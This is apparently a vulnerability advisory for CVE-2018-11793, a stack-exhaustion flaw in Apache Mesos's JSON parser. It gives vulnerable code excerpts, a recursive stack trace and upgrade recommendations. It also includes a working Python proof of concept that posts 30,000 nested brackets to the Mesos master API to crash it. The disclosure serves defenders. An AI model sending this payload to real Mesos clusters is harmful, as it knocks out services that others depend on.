CVE-2018-11793: Apache Mesos Denial of Service Vulnerability

A vulnerability in the JSON parser used by Apache Mesos allows a remote attacker to cause a crash in any Mesos component that parses JSON.

The impact of this bug is most likely denial-of-service against Apache Mesos but may result in remote code execution in some circumstances.

Affected Versions

Apache Mesos 1.4.0 to 1.7.0. The unsupported Apache Mesos pre-1.4.0 releases may be also affected.

Description

The JSON parser in 3rdparty/stout/include/stout/json.hpp uses the PicoJSON library internally to parse JSON values.

904  const char* parseEnd;
905  try {
906    parseEnd =
907      picojson::parse(value, parseBegin, parseBegin + s.size(), &error);
908  } catch (const std::overflow_error&) {
909    return Error("Value out of range");
910  } catch (...) {
911    return Error("Unknown JSON parse error");
912  }

PicoJSON does not handle deeply nested JSON structures well as parses the JSON recursively which eventually blows the stack.

A typical stack trace at the time of the crash will be as follow:

gef➤  bt
#0  0x00007fffe98eabbc in _int_malloc (av=av@entry=0x7fffc0000020, bytes=bytes@entry=0x18) at malloc.c:3353
#1  0x00007fffe98ed184 in __GI___libc_malloc (bytes=0x18) at malloc.c:2913
#2  0x00007fffea0f3e78 in operator new(unsigned long) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007ffff3961608 in picojson::value::value (this=0x7fffe04d5140, type=0x4) at ../3rdparty/picojson-1.3.0/picojson.h:178
#4  0x00007ffff39621f4 in picojson::default_parse_context::parse_array_start (this=0x7fffe04d52c0) at ../3rdparty/picojson-1.3.0/picojson.h:848
#5  0x00007ffff396f094 in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:687
#6  0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#7  0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d5440, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#8  0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#9  0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#10 0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d55c0, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#11 0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#12 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#13 0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d5740, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#14 0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#15 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762

While the JSON parser is widely used throughout Mesos, its usage in src/master/http.cpp can be exploited by a remote attacker to cause a denial of service.

660  } else if (contentType.get() == APPLICATION_JSON) {
661    Try<JSON::Value> value = JSON::parse(request.body);

Proof of Concept

The following Python script will crash the Apache Mesos master process to crash.

The number of ['s required to trigger the crash depends on the stack limits of the system the Mesos process is running on. However, this poses no practical limitations when it comes to exploitation since a HTTP request body can be megabytes in length.

import requests

HOST = "http://127.0.0.1:5050/api/v1"

def main():
    payload = "[" * 30000
    requests.post(HOST, data=payload,
                  headers={"Content-Type": "application/json"})


if __name__ == "__main__":
    main()

Mitigation

Apache Mesos user's should be upgraded to a patched version. The following is the official recommendation from the Apache Mesos team.

pre-1.4.x users should upgrade to at least 1.4.3
1.4.x users should upgrade to 1.4.3
1.5.x users should upgrade to 1.5.2
1.6.x users should upgrade to 1.6.2
1.7.0 users should upgrade to 1.7.1
1.8-dev users should obtain Mesos 1.8.0 or later

Credits

This issue was discovered by Ayrx.

Timeline

If you have any feedback or notice any errors in the post, I'd love to hear from you. You can find various ways of contacting me at the about me page!